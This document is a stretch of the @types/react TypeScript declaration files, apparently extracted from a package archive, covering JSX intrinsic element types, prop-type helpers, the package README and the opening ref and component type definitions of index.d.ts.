DetailedHTMLFactory<TextareaHTMLAttributes<HTMLTextAreaElement>, HTMLTextAreaElement>; tfoot: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; th: DetailedHTMLFactory<ThHTMLAttributes<HTMLTableHeaderCellElement>, HTMLTableHeaderCellElement>; thead: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; time: DetailedHTMLFactory<TimeHTMLAttributes<HTMLTimeElement>, HTMLTimeElement>; title: DetailedHTMLFactory<HTMLAttributes<HTMLTitleElement>, HTMLTitleElement>; tr: DetailedHTMLFactory<HTMLAttributes<HTMLTableRowElement>, HTMLTableRowElement>; track: DetailedHTMLFactory<TrackHTMLAttributes<HTMLTrackElement>, HTMLTrackElement>; u: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; ul: DetailedHTMLFactory<HTMLAttributes<HTMLUListElement>, HTMLUListElement>; "var": DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; video: DetailedHTMLFactory<VideoHTMLAttributes<HTMLVideoElement>, HTMLVideoElement>; wbr: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; webview: DetailedHTMLFactory<WebViewHTMLAttributes<HTMLWebViewElement>, HTMLWebViewElement>; } interface ReactSVG { animate: SVGFactory; circle: SVGFactory; clipPath: SVGFactory; defs: SVGFactory; desc: SVGFactory; ellipse: SVGFactory; feBlend: SVGFactory; feColorMatrix: SVGFactory; feComponentTransfer: SVGFactory; feComposite: SVGFactory; feConvolveMatrix: SVGFactory; feDiffuseLighting: SVGFactory; feDisplacementMap: SVGFactory; feDistantLight: SVGFactory; feDropShadow: SVGFactory; feFlood: SVGFactory; feFuncA: SVGFactory; feFuncB: SVGFactory; feFuncG: SVGFactory; feFuncR: SVGFactory; feGaussianBlur: SVGFactory; feImage: SVGFactory; feMerge: SVGFactory; feMergeNode: SVGFactory; feMorphology: SVGFactory; feOffset: SVGFactory; fePointLight: SVGFactory; feSpecularLighting: SVGFactory; feSpotLight: SVGFactory; feTile: SVGFactory; feTurbulence: SVGFactory; filter: SVGFactory; foreignObject: SVGFactory; g: SVGFactory; image: SVGFactory; line: SVGFactory; linearGradient: SVGFactory; marker: SVGFactory; mask: SVGFactory; metadata: SVGFactory; path: SVGFactory; pattern: SVGFactory; polygon: SVGFactory; polyline: SVGFactory; radialGradient: SVGFactory; rect: SVGFactory; stop: SVGFactory; svg: SVGFactory; switch: SVGFactory; symbol: SVGFactory; text: SVGFactory; textPath: SVGFactory; tspan: SVGFactory; use: SVGFactory; view: SVGFactory; } interface ReactDOM extends ReactHTML, ReactSVG {} // // React.PropTypes // ---------------------------------------------------------------------- /** * @deprecated Use `Validator` from the ´prop-types` instead. */ type Validator<T> = PropTypes.Validator<T>; /** * @deprecated Use `Requireable` from the ´prop-types` instead. */ type Requireable<T> = PropTypes.Requireable<T>; /** * @deprecated Use `ValidationMap` from the ´prop-types` instead. */ type ValidationMap<T> = PropTypes.ValidationMap<T>; /** * @deprecated Use `WeakValidationMap` from the ´prop-types` instead. */ type WeakValidationMap<T> = { [K in keyof T]?: null extends T[K] ? Validator<T[K] | null | undefined> : undefined extends T[K] ? Validator<T[K] | null | undefined> : Validator<T[K]>; }; /** * @deprecated Use `PropTypes.*` where `PropTypes` comes from `import * as PropTypes from 'prop-types'` instead. */ interface ReactPropTypes { any: typeof PropTypes.any; array: typeof PropTypes.array; bool: typeof PropTypes.bool; func: typeof PropTypes.func; number: typeof PropTypes.number; object: typeof PropTypes.object; string: typeof PropTypes.string; node: typeof PropTypes.node; element: typeof PropTypes.element; instanceOf: typeof PropTypes.instanceOf; oneOf: typeof PropTypes.oneOf; oneOfType: typeof PropTypes.oneOfType; arrayOf: typeof PropTypes.arrayOf; objectOf: typeof PropTypes.objectOf; shape: typeof PropTypes.shape; exact: typeof PropTypes.exact; } // // React.Children // ---------------------------------------------------------------------- /** * @deprecated - Use `typeof React.Children` instead. */ // Sync with type of `const Children`. interface ReactChildren { map<T, C>( children: C | readonly C[], fn: (child: C, index: number) => T, ): C extends null | undefined ? C : Array<Exclude<T, boolean | null | undefined>>; forEach<C>(children: C | readonly C[], fn: (child: C, index: number) => void): void; count(children: any): number; only<C>(children: C): C extends any[] ? never : C; toArray(children: ReactNode | ReactNode[]): Array<Exclude<ReactNode, boolean | null | undefined>>; } // // Browser Interfaces // https://github.com/nikeee/2048-typescript/blob/master/2048/js/touch.d.ts // ---------------------------------------------------------------------- interface AbstractView { styleMedia: StyleMedia; document: Document; } interface Touch { identifier: number; target: EventTarget; screenX: number; screenY: number; clientX: number; clientY: number; pageX: number; pageY: number; } interface TouchList { [index: number]: Touch; length: number; item(index: number): Touch; identifiedTouch(identifier: number): Touch; } // // Error Interfaces // ---------------------------------------------------------------------- interface ErrorInfo { /** * Captures which component contained the exception, and its ancestors. */ componentStack?: string | null; digest?: string | null; } // Keep in sync with JSX namespace in ./jsx-runtime.d.ts and ./jsx-dev-runtime.d.ts namespace JSX { interface Element extends GlobalJSXElement {} interface ElementClass extends GlobalJSXElementClass {} interface ElementAttributesProperty extends GlobalJSXElementAttributesProperty {} interface ElementChildrenAttribute extends GlobalJSXElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = GlobalJSXLibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends GlobalJSXIntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends GlobalJSXIntrinsicClassAttributes<T> {} interface IntrinsicElements extends GlobalJSXIntrinsicElements {} } } // naked 'any' type in a conditional type will short circuit and union both the then/else branches // so boolean is only resolved for T = any type IsExactlyAny<T> = boolean extends (T extends never ? true : false) ? true : false; type ExactlyAnyPropertyKeys<T> = { [K in keyof T]: IsExactlyAny<T[K]> extends true ? K : never }[keyof T]; type NotExactlyAnyPropertyKeys<T> = Exclude<keyof T, ExactlyAnyPropertyKeys<T>>; // Try to resolve ill-defined props like for JS users: props can be any, or sometimes objects with properties of type any type MergePropTypes<P, T> = // Distribute over P in case it is a union type P extends any // If props is type any, use propTypes definitions ? IsExactlyAny<P> extends true ? T // If declared props have indexed properties, ignore inferred props entirely as keyof gets widened : string extends keyof P ? P // Prefer declared types which are not exactly any : & Pick<P, NotExactlyAnyPropertyKeys<P>> // For props which are exactly any, use the type inferred from propTypes if present & Pick<T, Exclude<keyof T, NotExactlyAnyPropertyKeys<P>>> // Keep leftover props not specified in propTypes & Pick<P, Exclude<keyof P, keyof T>> : never; type InexactPartial<T> = { [K in keyof T]?: T[K] | undefined }; // Any prop that has a default prop becomes optional, but its type is unchanged // Undeclared default props are augmented into the resulting allowable attributes // If declared props have indexed properties, ignore default props entirely as keyof gets widened // Wrap in an outer-level conditional type to allow distribution over props that are unions type Defaultize<P, D> = P extends any ? string extends keyof P ? P : & Pick<P, Exclude<keyof P, keyof D>> & InexactPartial<Pick<P, Extract<keyof P, keyof D>>> & InexactPartial<Pick<D, Exclude<keyof D, keyof P>>> : never; type ReactManagedAttributes<C, P> = C extends { propTypes: infer T; defaultProps: infer D } ? Defaultize<MergePropTypes<P, PropTypes.InferProps<T>>, D> : C extends { propTypes: infer T } ? MergePropTypes<P, PropTypes.InferProps<T>> : C extends { defaultProps: infer D } ? Defaultize<P, D> : P; declare global { /** * @deprecated Use `React.JSX` instead of the global `JSX` namespace. */ namespace JSX { interface Element extends React.ReactElement<any, any> {} interface ElementClass extends React.Component<any> { render(): React.ReactNode; } interface ElementAttributesProperty { props: {}; } interface ElementChildrenAttribute { children: {}; } // We can't recurse forever because `type` can't be self-referential; // let's assume it's reasonable to do a single React.lazy() around a single React.memo() / vice-versa type LibraryManagedAttributes<C, P> = C extends React.MemoExoticComponent<infer T> | React.LazyExoticComponent<infer T> ? T extends React.MemoExoticComponent<infer U> | React.LazyExoticComponent<infer U> ? ReactManagedAttributes<U, P> : ReactManagedAttributes<T, P> : ReactManagedAttributes<C, P>; interface IntrinsicAttributes extends React.Attributes {} interface IntrinsicClassAttributes<T> extends React.ClassAttributes<T> {} interface IntrinsicElements { // HTML a: React.DetailedHTMLProps<React.AnchorHTMLAttributes<HTMLAnchorElement>, HTMLAnchorElement>; abbr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; address: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; area: React.DetailedHTMLProps<React.AreaHTMLAttributes<HTMLAreaElement>, HTMLAreaElement>; article: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; aside: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; audio: React.DetailedHTMLProps<React.AudioHTMLAttributes<HTMLAudioElement>, HTMLAudioElement>; b: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; base: React.DetailedHTMLProps<React.BaseHTMLAttributes<HTMLBaseElement>, HTMLBaseElement>; bdi: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; bdo: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; big: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; blockquote: React.DetailedHTMLProps<React.BlockquoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; body: React.DetailedHTMLProps<React.HTMLAttributes<HTMLBodyElement>, HTMLBodyElement>; br: React.DetailedHTMLProps<React.HTMLAttributes<HTMLBRElement>, HTMLBRElement>; button: React.DetailedHTMLProps<React.ButtonHTMLAttributes<HTMLButtonElement>, HTMLButtonElement>; canvas: React.DetailedHTMLProps<React.CanvasHTMLAttributes<HTMLCanvasElement>, HTMLCanvasElement>; caption: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; center: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; cite: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; code: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; col: React.DetailedHTMLProps<React.ColHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; colgroup: React.DetailedHTMLProps<React.ColgroupHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; data: React.DetailedHTMLProps<React.DataHTMLAttributes<HTMLDataElement>, HTMLDataElement>; datalist: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDataListElement>, HTMLDataListElement>; dd: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; del: React.DetailedHTMLProps<React.DelHTMLAttributes<HTMLModElement>, HTMLModElement>; details: React.DetailedHTMLProps<React.DetailsHTMLAttributes<HTMLDetailsElement>, HTMLDetailsElement>; dfn: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; dialog: React.DetailedHTMLProps<React.DialogHTMLAttributes<HTMLDialogElement>, HTMLDialogElement>; div: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDivElement>, HTMLDivElement>; dl: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDListElement>, HTMLDListElement>; dt: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; em: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; embed: React.DetailedHTMLProps<React.EmbedHTMLAttributes<HTMLEmbedElement>, HTMLEmbedElement>; fieldset: React.DetailedHTMLProps<React.FieldsetHTMLAttributes<HTMLFieldSetElement>, HTMLFieldSetElement>; figcaption: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; figure: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; footer: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; form: React.DetailedHTMLProps<React.FormHTMLAttributes<HTMLFormElement>, HTMLFormElement>; h1: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h2: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h3: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h4: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h5: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h6: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; head: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadElement>, HTMLHeadElement>; header: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; hgroup: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; hr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHRElement>, HTMLHRElement>; html: React.DetailedHTMLProps<React.HtmlHTMLAttributes<HTMLHtmlElement>, HTMLHtmlElement>; i: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; iframe: React.DetailedHTMLProps<React.IframeHTMLAttributes<HTMLIFrameElement>, HTMLIFrameElement>; img: React.DetailedHTMLProps<React.ImgHTMLAttributes<HTMLImageElement>, HTMLImageElement>; input: React.DetailedHTMLProps<React.InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; ins: React.DetailedHTMLProps<React.InsHTMLAttributes<HTMLModElement>, HTMLModElement>; kbd: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; keygen: React.DetailedHTMLProps<React.KeygenHTMLAttributes<HTMLElement>, HTMLElement>; label: React.DetailedHTMLProps<React.LabelHTMLAttributes<HTMLLabelElement>, HTMLLabelElement>; legend: React.DetailedHTMLProps<React.HTMLAttributes<HTMLLegendElement>, HTMLLegendElement>; li: React.DetailedHTMLProps<React.LiHTMLAttributes<HTMLLIElement>, HTMLLIElement>; link: React.DetailedHTMLProps<React.LinkHTMLAttributes<HTMLLinkElement>, HTMLLinkElement>; main: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; map: React.DetailedHTMLProps<React.MapHTMLAttributes<HTMLMapElement>, HTMLMapElement>; mark: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; menu: React.DetailedHTMLProps<React.MenuHTMLAttributes<HTMLElement>, HTMLElement>; menuitem: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; meta: React.DetailedHTMLProps<React.MetaHTMLAttributes<HTMLMetaElement>, HTMLMetaElement>; meter: React.DetailedHTMLProps<React.MeterHTMLAttributes<HTMLMeterElement>, HTMLMeterElement>; nav: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; noindex: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; noscript: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; object: React.DetailedHTMLProps<React.ObjectHTMLAttributes<HTMLObjectElement>, HTMLObjectElement>; ol: React.DetailedHTMLProps<React.OlHTMLAttributes<HTMLOListElement>, HTMLOListElement>; optgroup: React.DetailedHTMLProps<React.OptgroupHTMLAttributes<HTMLOptGroupElement>, HTMLOptGroupElement>; option: React.DetailedHTMLProps<React.OptionHTMLAttributes<HTMLOptionElement>, HTMLOptionElement>; output: React.DetailedHTMLProps<React.OutputHTMLAttributes<HTMLOutputElement>, HTMLOutputElement>; p: React.DetailedHTMLProps<React.HTMLAttributes<HTMLParagraphElement>, HTMLParagraphElement>; param: React.DetailedHTMLProps<React.ParamHTMLAttributes<HTMLParamElement>, HTMLParamElement>; picture: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; pre: React.DetailedHTMLProps<React.HTMLAttributes<HTMLPreElement>, HTMLPreElement>; progress: React.DetailedHTMLProps<React.ProgressHTMLAttributes<HTMLProgressElement>, HTMLProgressElement>; q: React.DetailedHTMLProps<React.QuoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; rp: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; rt: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; ruby: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; s: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; samp: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; search: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; slot: React.DetailedHTMLProps<React.SlotHTMLAttributes<HTMLSlotElement>, HTMLSlotElement>; script: React.DetailedHTMLProps<React.ScriptHTMLAttributes<HTMLScriptElement>, HTMLScriptElement>; section: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; select: React.DetailedHTMLProps<React.SelectHTMLAttributes<HTMLSelectElement>, HTMLSelectElement>; small: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; source: React.DetailedHTMLProps<React.SourceHTMLAttributes<HTMLSourceElement>, HTMLSourceElement>; span: React.DetailedHTMLProps<React.HTMLAttributes<HTMLSpanElement>, HTMLSpanElement>; strong: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; style: React.DetailedHTMLProps<React.StyleHTMLAttributes<HTMLStyleElement>, HTMLStyleElement>; sub: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; summary: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; sup: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; table: React.DetailedHTMLProps<React.TableHTMLAttributes<HTMLTableElement>, HTMLTableElement>; template: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTemplateElement>, HTMLTemplateElement>; tbody: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; td: React.DetailedHTMLProps<React.TdHTMLAttributes<HTMLTableDataCellElement>, HTMLTableDataCellElement>; textarea: React.DetailedHTMLProps<React.TextareaHTMLAttributes<HTMLTextAreaElement>, HTMLTextAreaElement>; tfoot: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; th: React.DetailedHTMLProps<React.ThHTMLAttributes<HTMLTableHeaderCellElement>, HTMLTableHeaderCellElement>; thead: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; time: React.DetailedHTMLProps<React.TimeHTMLAttributes<HTMLTimeElement>, HTMLTimeElement>; title: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTitleElement>, HTMLTitleElement>; tr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableRowElement>, HTMLTableRowElement>; track: React.DetailedHTMLProps<React.TrackHTMLAttributes<HTMLTrackElement>, HTMLTrackElement>; u: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; ul: React.DetailedHTMLProps<React.HTMLAttributes<HTMLUListElement>, HTMLUListElement>; "var": React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; video: React.DetailedHTMLProps<React.VideoHTMLAttributes<HTMLVideoElement>, HTMLVideoElement>; wbr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; webview: React.DetailedHTMLProps<React.WebViewHTMLAttributes<HTMLWebViewElement>, HTMLWebViewElement>; // SVG svg: React.SVGProps<SVGSVGElement>; animate: React.SVGProps<SVGElement>; // TODO: It is SVGAnimateElement but is not in TypeScript's lib.dom.d.ts for now. animateMotion: React.SVGProps<SVGElement>; animateTransform: React.SVGProps<SVGElement>; // TODO: It is SVGAnimateTransformElement but is not in TypeScript's lib.dom.d.ts for now. circle: React.SVGProps<SVGCircleElement>; clipPath: React.SVGProps<SVGClipPathElement>; defs: React.SVGProps<SVGDefsElement>; desc: React.SVGProps<SVGDescElement>; ellipse: React.SVGProps<SVGEllipseElement>; feBlend: React.SVGProps<SVGFEBlendElement>; feColorMatrix: React.SVGProps<SVGFEColorMatrixElement>; feComponentTransfer: React.SVGProps<SVGFEComponentTransferElement>; feComposite: React.SVGProps<SVGFECompositeElement>; feConvolveMatrix: React.SVGProps<SVGFEConvolveMatrixElement>; feDiffuseLighting: React.SVGProps<SVGFEDiffuseLightingElement>; feDisplacementMap: React.SVGProps<SVGFEDisplacementMapElement>; feDistantLight: React.SVGProps<SVGFEDistantLightElement>; feDropShadow: React.SVGProps<SVGFEDropShadowElement>; feFlood: React.SVGProps<SVGFEFloodElement>; feFuncA: React.SVGProps<SVGFEFuncAElement>; feFuncB: React.SVGProps<SVGFEFuncBElement>; feFuncG: React.SVGProps<SVGFEFuncGElement>; feFuncR: React.SVGProps<SVGFEFuncRElement>; feGaussianBlur: React.SVGProps<SVGFEGaussianBlurElement>; feImage: React.SVGProps<SVGFEImageElement>; feMerge: React.SVGProps<SVGFEMergeElement>; feMergeNode: React.SVGProps<SVGFEMergeNodeElement>; feMorphology: React.SVGProps<SVGFEMorphologyElement>; feOffset: React.SVGProps<SVGFEOffsetElement>; fePointLight: React.SVGProps<SVGFEPointLightElement>; feSpecularLighting: React.SVGProps<SVGFESpecularLightingElement>; feSpotLight: React.SVGProps<SVGFESpotLightElement>; feTile: React.SVGProps<SVGFETileElement>; feTurbulence: React.SVGProps<SVGFETurbulenceElement>; filter: React.SVGProps<SVGFilterElement>; foreignObject: React.SVGProps<SVGForeignObjectElement>; g: React.SVGProps<SVGGElement>; image: React.SVGProps<SVGImageElement>; line: React.SVGLineElementAttributes<SVGLineElement>; linearGradient: React.SVGProps<SVGLinearGradientElement>; marker: React.SVGProps<SVGMarkerElement>; mask: React.SVGProps<SVGMaskElement>; metadata: React.SVGProps<SVGMetadataElement>; mpath: React.SVGProps<SVGElement>; path: React.SVGProps<SVGPathElement>; pattern: React.SVGProps<SVGPatternElement>; polygon: React.SVGProps<SVGPolygonElement>; polyline: React.SVGProps<SVGPolylineElement>; radialGradient: React.SVGProps<SVGRadialGradientElement>; rect: React.SVGProps<SVGRectElement>; set: React.SVGProps<SVGSetElement>; stop: React.SVGProps<SVGStopElement>; switch: React.SVGProps<SVGSwitchElement>; symbol: React.SVGProps<SVGSymbolElement>; text: React.SVGTextElementAttributes<SVGTextElement>; textPath: React.SVGProps<SVGTextPathElement>; tspan: React.SVGProps<SVGTSpanElement>; use: React.SVGProps<SVGUseElement>; view: React.SVGProps<SVGViewElement>; } } } // React.JSX needs to point to global.JSX to keep global module augmentations intact. // But we can't access global.JSX so we need to create these aliases instead. // Once the global JSX namespace will be removed we replace React.JSX with the contents of global.JSX interface GlobalJSXElement extends JSX.Element {} interface GlobalJSXElementClass extends JSX.ElementClass {} interface GlobalJSXElementAttributesProperty extends JSX.ElementAttributesProperty {} interface GlobalJSXElementChildrenAttribute extends JSX.ElementChildrenAttribute {} type GlobalJSXLibraryManagedAttributes<C, P> = JSX.LibraryManagedAttributes<C, P>; interface GlobalJSXIntrinsicAttributes extends JSX.IntrinsicAttributes {} interface GlobalJSXIntrinsicClassAttributes<T> extends JSX.IntrinsicClassAttributes<T> {} interface GlobalJSXIntrinsicElements extends JSX.IntrinsicElements {} react/README.md000064400000003501151676730710007135 0ustar00# Installation > `npm install --save @types/react` # Summary This package contains type definitions for react (https://react.dev/). # Details Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react. ### Additional Details * Last updated: Thu, 23 May 2024 20:07:44 GMT * Dependencies: [@types/prop-types](https://npmjs.com/package/@types/prop-types), [csstype](https://npmjs.com/package/csstype) # Credits These definitions were written by [Asana](https://asana.com), [AssureSign](http://www.assuresign.com), [Microsoft](https://microsoft.com), [John Reilly](https://github.com/johnnyreilly), [Benoit Benezech](https://github.com/bbenezech), [Patricio Zavolinsky](https://github.com/pzavolinsky), [Eric Anderson](https://github.com/ericanderson), [Dovydas Navickas](https://github.com/DovydasNavickas), [Josh Rutherford](https://github.com/theruther4d), [Guilherme Hübner](https://github.com/guilhermehubner), [Ferdy Budhidharma](https://github.com/ferdaber), [Johann Rakotoharisoa](https://github.com/jrakotoharisoa), [Olivier Pascal](https://github.com/pascaloliv), [Martin Hochel](https://github.com/hotell), [Frank Li](https://github.com/franklixuefei), [Jessica Franco](https://github.com/Jessidhia), [Saransh Kataria](https://github.com/saranshkataria), [Kanitkorn Sujautra](https://github.com/lukyth), [Sebastian Silbermann](https://github.com/eps1lon), [Kyle Scully](https://github.com/zieka), [Cong Zhang](https://github.com/dancerphil), [Dimitri Mitropoulos](https://github.com/dimitropoulos), [JongChan Choi](https://github.com/disjukr), [Victor Magalhães](https://github.com/vhfmag), [Dale Tan](https://github.com/hellatan), [Priyanshu Rav](https://github.com/priyanshurav), [Dmitry Semigradsky](https://github.com/Semigradsky), and [Matt Pocock](https://github.com/mattpocock). react/index.d.ts000064400000572002151676730710007566 0ustar00// NOTE: Users of the `experimental` builds of React should add a reference // to 'react/experimental' in their project. See experimental.d.ts's top comment // for reference and documentation on how exactly to do it. /// <reference path="global.d.ts" /> import * as CSS from "csstype"; import * as PropTypes from "prop-types"; type NativeAnimationEvent = AnimationEvent; type NativeClipboardEvent = ClipboardEvent; type NativeCompositionEvent = CompositionEvent; type NativeDragEvent = DragEvent; type NativeFocusEvent = FocusEvent; type NativeKeyboardEvent = KeyboardEvent; type NativeMouseEvent = MouseEvent; type NativeTouchEvent = TouchEvent; type NativePointerEvent = PointerEvent; type NativeTransitionEvent = TransitionEvent; type NativeUIEvent = UIEvent; type NativeWheelEvent = WheelEvent; /** * Used to represent DOM API's where users can either pass * true or false as a boolean or as its equivalent strings. */ type Booleanish = boolean | "true" | "false"; /** * @see {@link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin MDN} */ type CrossOrigin = "anonymous" | "use-credentials" | "" | undefined; declare const UNDEFINED_VOID_ONLY: unique symbol; /** * The function returned from an effect passed to {@link React.useEffect useEffect}, * which can be used to clean up the effect when the component unmounts. * * @see {@link https://react.dev/reference/react/useEffect React Docs} */ type Destructor = () => void | { [UNDEFINED_VOID_ONLY]: never }; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; // eslint-disable-next-line @definitelytyped/export-just-namespace export = React; export as namespace React; declare namespace React { // // React Elements // ---------------------------------------------------------------------- /** * Used to retrieve the possible components which accept a given set of props. * * Can be passed no type parameters to get a union of all possible components * and tags. * * Is a superset of {@link ComponentType}. * * @template P The props to match against. If not passed, defaults to any. * @template Tag An optional tag to match against. If not passed, attempts to match against all possible tags. * * @example * * ```tsx * // All components and tags (img, embed etc.) * // which accept `src` * type SrcComponents = ElementType<{ src: any }>; * ``` * * @example * * ```tsx * // All components * type AllComponents = ElementType; * ``` * * @example * * ```tsx * // All custom components which match `src`, and tags which * // match `src`, narrowed down to just `audio` and `embed` * type SrcComponents = ElementType<{ src: any }, 'audio' | 'embed'>; * ``` */ type ElementType<P = any, Tag extends keyof JSX.IntrinsicElements = keyof JSX.IntrinsicElements> = | { [K in Tag]: P extends JSX.IntrinsicElements[K] ? K : never }[Tag] | ComponentType<P>; /** * Represents any user-defined component, either as a function or a class. * * Similar to {@link JSXElementConstructor}, but with extra properties like * {@link FunctionComponent.defaultProps defaultProps } and * {@link ComponentClass.contextTypes contextTypes}. * * @template P The props the component accepts. * * @see {@link ComponentClass} * @see {@link FunctionComponent} */ type ComponentType<P = {}> = ComponentClass<P> | FunctionComponent<P>; /** * Represents any user-defined component, either as a function or a class. * * Similar to {@link ComponentType}, but without extra properties like * {@link FunctionComponent.defaultProps defaultProps } and * {@link ComponentClass.contextTypes contextTypes}. * * @template P The props the component accepts. */ type JSXElementConstructor<P> = | (( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-stateless-function-components React Docs} */ deprecatedLegacyContext?: any, ) => ReactNode) | (new( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ) => Component<any, any>); /** * A readonly ref container where {@link current} cannot be mutated. * * Created by {@link createRef}, or {@link useRef} when passed `null`. * * @template T The type of the ref's value. * * @example * * ```tsx * const ref = createRef<HTMLDivElement>(); * * ref.current = document.createElement('div'); // Error * ``` */ interface RefObject<T> { /** * The current value of the ref. */ readonly current: T | null; } interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES { } /** * A callback fired whenever the ref's value changes. * * @template T The type of the ref's value. * * @see {@link https://react.dev/reference/react-dom/components/common#ref-callback React Docs} * * @example * * ```tsx * <div ref={(node) => console.log(node)} /> * ``` */ type RefCallback<T> = { bivarianceHack( instance: T | null, ): | void | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES ]; }["bivarianceHack"]; /** * A union type of all possible shapes for React refs. * * @see {@link RefCallback} * @see {@link RefObject} */ type Ref<T> = RefCallback<T> | RefObject<T> | null; /** * A legacy implementation of refs where you can pass a string to a ref prop. * * @see {@link https://react.dev/reference/react/Component#refs React Docs} * * @example * * ```tsx * <div ref="myRef" /> * ``` */ // TODO: Remove the string ref special case from `PropsWithRef` once we remove LegacyRef type LegacyRef<T> = string | Ref<T>; /** * Retrieves the type of the 'ref' prop for a given component type or tag name. * * @template C The component type. * * @example * * ```tsx * type MyComponentRef = React.ElementRef<typeof MyComponent>; * ``` * * @example * * ```tsx * type DivRef = React.ElementRef<'div'>; * ``` */ type ElementRef< C extends | ForwardRefExoticComponent<any> | { new(props: any): Component<any> } | ((props: any, 